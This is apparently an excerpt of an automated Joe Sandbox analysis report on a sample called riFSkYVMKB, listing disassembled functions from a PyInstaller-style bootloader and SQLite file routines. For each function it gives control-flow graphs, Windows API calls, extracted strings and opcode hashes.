                                                                                                                                                                                                                                          • Opcode ID: f9f91cf4c879a1f55dcf4b3cc1e56045de927a81096d4cf94589e99b2d0e2aef
                                                                                                                                                                                                                                          • Instruction ID: 824b278190d2756e0d1f217d94062b39d029c5f8b03040e01f83056ce3fa83dc
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f9f91cf4c879a1f55dcf4b3cc1e56045de927a81096d4cf94589e99b2d0e2aef
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DFE18D23F0CB9186EB34CBE591A03B927A5BB46B88F058235DE4D27796DF38E452C344
                                                                                                                                                                                                                                          Function 00007FF79D051210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 791 7ff79d051210-7ff79d05126d call 7ff79d05bdf0 794 7ff79d051297-7ff79d0512af call 7ff79d064fb4 791->794 795 7ff79d05126f-7ff79d051296 call 7ff79d052710 791->795 800 7ff79d0512d4-7ff79d0512e4 call 7ff79d064fb4 794->800 801 7ff79d0512b1-7ff79d0512cf call 7ff79d064f78 call 7ff79d052910 794->801 806 7ff79d051309-7ff79d05131b 800->806 807 7ff79d0512e6-7ff79d051304 call 7ff79d064f78 call 7ff79d052910 800->807 814 7ff79d051439-7ff79d05146d call 7ff79d05bad0 call 7ff79d064fa0 * 2 801->814 810 7ff79d051320-7ff79d051345 call 7ff79d06040c 806->810 807->814 820 7ff79d05134b-7ff79d051355 call 7ff79d060180 810->820 821 7ff79d051431 810->821 820->821 827 7ff79d05135b-7ff79d051367 820->827 821->814 829 7ff79d051370-7ff79d051398 call 7ff79d05a230 827->829 832 7ff79d05139a-7ff79d05139d 829->832 833 7ff79d051416-7ff79d05142c call 7ff79d052710 829->833 834 7ff79d05139f-7ff79d0513a9 832->834 835 7ff79d051411 832->835 833->821 837 7ff79d0513ab-7ff79d0513b9 call 7ff79d060b4c 834->837 838 7ff79d0513d4-7ff79d0513d7 834->838 835->833 842 7ff79d0513be-7ff79d0513c1 837->842 840 7ff79d0513d9-7ff79d0513e7 call 7ff79d079ea0 838->840 841 7ff79d0513ea-7ff79d0513ef 838->841 840->841 841->829 844 7ff79d0513f5-7ff79d0513f8 841->844 845 7ff79d0513c3-7ff79d0513cd call 7ff79d060180 842->845 846 7ff79d0513cf-7ff79d0513d2 842->846 848 7ff79d05140c-7ff79d05140f 844->848 849 7ff79d0513fa-7ff79d0513fd 844->849 845->841 845->846 846->833 848->821 849->833 850 7ff79d0513ff-7ff79d051407 849->850 850->810
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-2813020118
                                                                                                                                                                                                                                          • Opcode ID: 3c9a59ff3bb3cad3576c5a79fada2bf92f4883a0976c2eb1c2674206ff102632
                                                                                                                                                                                                                                          • Instruction ID: f7d271c89e89860ae99c7fe464190d4c739d37c652f1403aa0a50b149d1a840d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3c9a59ff3bb3cad3576c5a79fada2bf92f4883a0976c2eb1c2674206ff102632
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9B51C122A0CA4281EA70BB7AA4103BAA290FF85794FC44635ED8D477C9FE3CE541C720
                                                                                                                                                                                                                                          Function 00007FF79D0536B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetModuleFileNameW.KERNEL32(?,00007FF79D053804), ref: 00007FF79D0536E1
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D053804), ref: 00007FF79D0536EB
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052C9E
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052D63
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052C50: MessageBoxW.USER32 ref: 00007FF79D052D99
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
                                                                                                                                                                                                                                          • String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
                                                                                                                                                                                                                                          • API String ID: 3187769757-2863816727
                                                                                                                                                                                                                                          • Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                          • Instruction ID: d6176f006a78b9aeff12c895eaf8d42185f97d0ef4ed4a715b6a6c057989b2b1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D0212C61F1C64281FA30BB7AE8553BAA350BF88354FC04132EADD866D5FE2CE505C764
                                                                                                                                                                                                                                          Function 00007FF79D06BACC Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 1093 7ff79d06bacc-7ff79d06baf2 1094 7ff79d06bb0d-7ff79d06bb11 1093->1094 1095 7ff79d06baf4-7ff79d06bb08 call 7ff79d064f58 call 7ff79d064f78 1093->1095 1097 7ff79d06bee7-7ff79d06bef3 call 7ff79d064f58 call 7ff79d064f78 1094->1097 1098 7ff79d06bb17-7ff79d06bb1e 1094->1098 1112 7ff79d06befe 1095->1112 1115 7ff79d06bef9 call 7ff79d06a950 1097->1115 1098->1097 1100 7ff79d06bb24-7ff79d06bb52 1098->1100 1100->1097 1103 7ff79d06bb58-7ff79d06bb5f 1100->1103 1106 7ff79d06bb78-7ff79d06bb7b 1103->1106 1107 7ff79d06bb61-7ff79d06bb73 call 7ff79d064f58 call 7ff79d064f78 1103->1107 1110 7ff79d06bee3-7ff79d06bee5 1106->1110 1111 7ff79d06bb81-7ff79d06bb87 1106->1111 1107->1115 1116 7ff79d06bf01-7ff79d06bf18 1110->1116 1111->1110 1117 7ff79d06bb8d-7ff79d06bb90 1111->1117 1112->1116 1115->1112 1117->1107 1120 7ff79d06bb92-7ff79d06bbb7 1117->1120 1122 7ff79d06bbb9-7ff79d06bbbb 1120->1122 1123 7ff79d06bbea-7ff79d06bbf1 1120->1123 1126 7ff79d06bbbd-7ff79d06bbc4 1122->1126 1127 7ff79d06bbe2-7ff79d06bbe8 1122->1127 1124 7ff79d06bbc6-7ff79d06bbdd call 7ff79d064f58 call 7ff79d064f78 call 7ff79d06a950 1123->1124 1125 7ff79d06bbf3-7ff79d06bbff call 7ff79d06d66c 1123->1125 1154 7ff79d06bd70 1124->1154 1133 7ff79d06bc04-7ff79d06bc1b call 7ff79d06a9b8 * 2 1125->1133 1126->1124 1126->1127 1128 7ff79d06bc68-7ff79d06bc7f 1127->1128 1131 7ff79d06bcfa-7ff79d06bd04 call 7ff79d07398c 1128->1131 1132 7ff79d06bc81-7ff79d06bc89 1128->1132 1145 7ff79d06bd8e 1131->1145 1146 7ff79d06bd0a-7ff79d06bd1f 1131->1146 1132->1131 1135 7ff79d06bc8b-7ff79d06bc8d 1132->1135 1156 7ff79d06bc1d-7ff79d06bc33 call 7ff79d064f78 call 7ff79d064f58 1133->1156 1157 7ff79d06bc38-7ff79d06bc63 call 7ff79d06c2f4 1133->1157 1135->1131 1139 7ff79d06bc8f-7ff79d06bca5 1135->1139 1139->1131 1143 7ff79d06bca7-7ff79d06bcb3 1139->1143 1143->1131 1148 7ff79d06bcb5-7ff79d06bcb7 1143->1148 1150 7ff79d06bd93-7ff79d06bdb3 ReadFile 1145->1150 1146->1145 1151 7ff79d06bd21-7ff79d06bd33 GetConsoleMode 1146->1151 1148->1131 1155 7ff79d06bcb9-7ff79d06bcd1 1148->1155 1158 7ff79d06bead-7ff79d06beb6 GetLastError 1150->1158 1159 7ff79d06bdb9-7ff79d06bdc1 1150->1159 1151->1145 1153 7ff79d06bd35-7ff79d06bd3d 1151->1153 1153->1150 1160 7ff79d06bd3f-7ff79d06bd61 ReadConsoleW 1153->1160 1163 7ff79d06bd73-7ff79d06bd7d call 7ff79d06a9b8 1154->1163 1155->1131 1164 7ff79d06bcd3-7ff79d06bcdf 1155->1164 1156->1154 1157->1128 1161 7ff79d06beb8-7ff79d06bece call 7ff79d064f78 call 7ff79d064f58 1158->1161 1162 7ff79d06bed3-7ff79d06bed6 1158->1162 1159->1158 1166 7ff79d06bdc7 1159->1166 1169 7ff79d06bd63 GetLastError 1160->1169 1170 7ff79d06bd82-7ff79d06bd8c 1160->1170 1161->1154 1174 7ff79d06bedc-7ff79d06bede 1162->1174 1175 7ff79d06bd69-7ff79d06bd6b call 7ff79d064eec 1162->1175 1163->1116 1164->1131 1173 7ff79d06bce1-7ff79d06bce3 1164->1173 1177 7ff79d06bdce-7ff79d06bde3 1166->1177 1169->1175 1170->1177 1173->1131 1181 7ff79d06bce5-7ff79d06bcf5 1173->1181 1174->1163 1175->1154 1177->1163 1183 7ff79d06bde5-7ff79d06bdf0 1177->1183 1181->1131 1184 7ff79d06be17-7ff79d06be1f 1183->1184 1185 7ff79d06bdf2-7ff79d06be0b call 7ff79d06b6e4 1183->1185 1189 7ff79d06be9b-7ff79d06bea8 call 7ff79d06b524 1184->1189 1190 7ff79d06be21-7ff79d06be33 1184->1190 1193 7ff79d06be10-7ff79d06be12 1185->1193 1189->1193 1194 7ff79d06be8e-7ff79d06be96 1190->1194 1195 7ff79d06be35 1190->1195 1193->1163 1194->1163 1197 7ff79d06be3a-7ff79d06be41 1195->1197 1198 7ff79d06be7d-7ff79d06be88 1197->1198 1199 7ff79d06be43-7ff79d06be47 1197->1199 1198->1194 1200 7ff79d06be49-7ff79d06be50 1199->1200 1201 7ff79d06be63 1199->1201 1200->1201 1202 7ff79d06be52-7ff79d06be56 1200->1202 1203 7ff79d06be69-7ff79d06be79 1201->1203 1202->1201 1204 7ff79d06be58-7ff79d06be61 1202->1204 1203->1197 1205 7ff79d06be7b 1203->1205 1204->1203 1205->1194
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
                                                                                                                                                                                                                                          • Instruction ID: f5568a479504412e0c416643237c0372921ed199207ffd27d45ad46ff0bdcd42
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 81C1D4A2B0CE8641E770ABBD94402BDA765EB81B90FD54231EACE07791FF7CE4458721
                                                                                                                                                                                                                                          Function 00007FF79D056350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
                                                                                                                                                                                                                                          • API String ID: 2050909247-2434346643
                                                                                                                                                                                                                                          • Opcode ID: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
                                                                                                                                                                                                                                          • Instruction ID: 2216461d28aaa80dec6fa73be35ae70372da8de4abf0ecb73c265f2f70b52213
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 41413B21A1C68691EA31EB3AE4142E9A311FB54384FC00132EADD47696FF3CE615C760
                                                                                                                                                                                                                                          Function 00007FFD940DFFD0 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 1386 7ffd940dffd0-7ffd940e001c 1387 7ffd940e0021-7ffd940e0094 1386->1387 1388 7ffd940e00bb-7ffd940e00cb call 7ffd940dd020 1387->1388 1389 7ffd940e0096-7ffd940e00a5 call 7ffd940dfa10 1387->1389 1396 7ffd940e05d2-7ffd940e05d5 1388->1396 1397 7ffd940e00d1-7ffd940e00fa 1388->1397 1394 7ffd940e00ab-7ffd940e00b6 1389->1394 1395 7ffd940e0637-7ffd940e065a call 7ffd94202900 1389->1395 1394->1388 1400 7ffd940e05d7-7ffd940e05de 1396->1400 1401 7ffd940e0632 1396->1401 1398 7ffd940e0100-7ffd940e0115 1397->1398 1408 7ffd940e0117-7ffd940e0123 1398->1408 1409 7ffd940e0152-7ffd940e015c 1398->1409 1403 7ffd940e0629 1400->1403 1404 7ffd940e05e0-7ffd940e05ea 1400->1404 1401->1395 1403->1401 1406 7ffd940e05ec 1404->1406 1407 7ffd940e05f2-7ffd940e061f 1404->1407 1406->1407 1407->1401 1424 7ffd940e0621-7ffd940e0627 1407->1424 1411 7ffd940e0166-7ffd940e0181 1408->1411 1417 7ffd940e0125-7ffd940e012b 1408->1417 1409->1411 1412 7ffd940e015e-7ffd940e0160 1409->1412 1415 7ffd940e018a-7ffd940e0193 1411->1415 1416 7ffd940e0183-7ffd940e0188 1411->1416 1412->1411 1414 7ffd940e03a8-7ffd940e03af 1412->1414 1419 7ffd940e03fa 1414->1419 1420 7ffd940e03b1-7ffd940e03bb 1414->1420 1421 7ffd940e0196-7ffd940e01aa call 7ffd94196ad0 1415->1421 1416->1421 1422 7ffd940e0133-7ffd940e0136 1417->1422 1423 7ffd940e012d-7ffd940e0131 1417->1423 1431 7ffd940e0403 1419->1431 1425 7ffd940e03c3-7ffd940e03f0 1420->1425 1426 7ffd940e03bd 1420->1426 1432 7ffd940e01ac-7ffd940e01c6 call 7ffd9414df90 1421->1432 1433 7ffd940e01c8 1421->1433 1429 7ffd940e013f-7ffd940e0150 1422->1429 1430 7ffd940e0138-7ffd940e013d 1422->1430 1423->1422 1423->1429 1424->1401 1434 7ffd940e040a-7ffd940e040d 1425->1434 1447 7ffd940e03f2-7ffd940e03f8 1425->1447 1426->1425 1429->1398 1430->1411 1430->1429 1431->1434 1438 7ffd940e01ca-7ffd940e01ec 1432->1438 1433->1438 1439 7ffd940e046b-7ffd940e0470 1434->1439 1440 7ffd940e040f-7ffd940e0416 1434->1440 1443 7ffd940e01f0-7ffd940e0217 CreateFileW 1438->1443 1439->1395 1444 7ffd940e0418-7ffd940e041b 1440->1444 1445 7ffd940e0462 1440->1445 1448 7ffd940e021d-7ffd940e021f 1443->1448 1449 7ffd940e02c0 1443->1449 1450 7ffd940e0423-7ffd940e0450 1444->1450 1451 7ffd940e041d 1444->1451 1445->1439 1447->1431 1452 7ffd940e0221-7ffd940e0233 1448->1452 1453 7ffd940e026f-7ffd940e027c 1448->1453 1454 7ffd940e02c4-7ffd940e02c7 1449->1454 1450->1439 1473 7ffd940e0452-7ffd940e045d 1450->1473 1451->1450 1458 7ffd940e0235 1452->1458 1459 7ffd940e0237-7ffd940e025d call 7ffd940e0800 1452->1459 1467 7ffd940e02bc-7ffd940e02be 1453->1467 1468 7ffd940e027e-7ffd940e0284 1453->1468 1455 7ffd940e02c9-7ffd940e02f2 call 7ffd940d9340 1454->1455 1456 7ffd940e02f7-7ffd940e02fb 1454->1456 1455->1456 1462 7ffd940e0301-7ffd940e0311 call 7ffd940d6320 1456->1462 1463 7ffd940e04af-7ffd940e04bd 1456->1463 1458->1459 1478 7ffd940e0261-7ffd940e0263 1459->1478 1479 7ffd940e025f 1459->1479 1482 7ffd940e0313-7ffd940e031a 1462->1482 1483 7ffd940e036e-7ffd940e0373 1462->1483 1469 7ffd940e04cd-7ffd940e04e6 call 7ffd940d6320 1463->1469 1470 7ffd940e04bf-7ffd940e04cb 1463->1470 1467->1454 1475 7ffd940e0296-7ffd940e0299 1468->1475 1476 7ffd940e0286-7ffd940e0294 1468->1476 1487 7ffd940e04e8-7ffd940e04ef 1469->1487 1488 7ffd940e0543-7ffd940e0546 1469->1488 1470->1469 1473->1395 1484 7ffd940e02a2-7ffd940e02b7 1475->1484 1485 7ffd940e029b-7ffd940e02a0 1475->1485 1476->1475 1476->1484 1480 7ffd940e026b 1478->1480 1481 7ffd940e0265-7ffd940e0269 1478->1481 1479->1478 1480->1453 1481->1449 1481->1480 1492 7ffd940e031c-7ffd940e0326 1482->1492 1493 7ffd940e0365 1482->1493 1490 7ffd940e0379-7ffd940e037e 1483->1490 1491 7ffd940e0475-7ffd940e04aa call 7ffd940dd810 call 7ffd94195ae0 1483->1491 1484->1443 1485->1467 1485->1484 1494 7ffd940e053a 1487->1494 1495 7ffd940e04f1-7ffd940e04fb 1487->1495 1501 7ffd940e0548-7ffd940e054b 1488->1501 1502 7ffd940e054d 1488->1502 1490->1491 1496 7ffd940e0384-7ffd940e03a3 1490->1496 1491->1395 1498 7ffd940e0328 1492->1498 1499 7ffd940e032e-7ffd940e035b 1492->1499 1493->1483 1494->1488 1504 7ffd940e0503-7ffd940e0530 1495->1504 1505 7ffd940e04fd 1495->1505 1496->1387 1498->1499 1499->1483 1519 7ffd940e035d-7ffd940e0363 1499->1519 1503 7ffd940e0554-7ffd940e056c 1501->1503 1502->1503 1507 7ffd940e0572-7ffd940e057a 1503->1507 1508 7ffd940e056e 1503->1508 1504->1488 1522 7ffd940e0532-7ffd940e0538 1504->1522 1505->1504 1511 7ffd940e05aa-7ffd940e05d0 1507->1511 1512 7ffd940e057c-7ffd940e0590 call 7ffd94196ad0 1507->1512 1508->1507 1511->1395 1520 7ffd940e05a6 1512->1520 1521 7ffd940e0592-7ffd940e05a4 call 7ffd9414df90 1512->1521 1519->1483 1520->1511 1521->1511 1521->1520 1522->1488
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CreateFile
                                                                                                                                                                                                                                          • String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
                                                                                                                                                                                                                                          • API String ID: 823142352-3829269058
                                                                                                                                                                                                                                          • Opcode ID: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
                                                                                                                                                                                                                                          • Instruction ID: 724508d2c7565b8b69ed58910b49bc0c2c772c250241e52d8ed240b023344563
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 08029321B0964386FA748BA1A4F037B63A0FF86B98F14C235DD4D0A6A6DF3DE565D700
                                                                                                                                                                                                                                          Function 00007FFD940DD9E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 110fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010$FileRead
                                                                                                                                                                                                                                          • String ID: delayed %dms for lock/sharing conflict at line %d$winRead
                                                                                                                                                                                                                                          • API String ID: 2052948767-1843600136
                                                                                                                                                                                                                                          • Opcode ID: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
                                                                                                                                                                                                                                          • Instruction ID: a0ca60ca191c811399073a275fc39e1c9ac853a0882ac3a66bd43d2321712c8a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DE415822B1C74681E6308F95E8E06A9B7A5FF96B80F10C231FA4C47696DF3DE44AC340
                                                                                                                                                                                                                                          Function 00007FF79D065698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1279662727-0
                                                                                                                                                                                                                                          • Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
                                                                                                                                                                                                                                          • Instruction ID: 8d8ab09b6c1a6eb8d5b2809418166acb14063e91b132ad4cdf77ff6574ccbac9
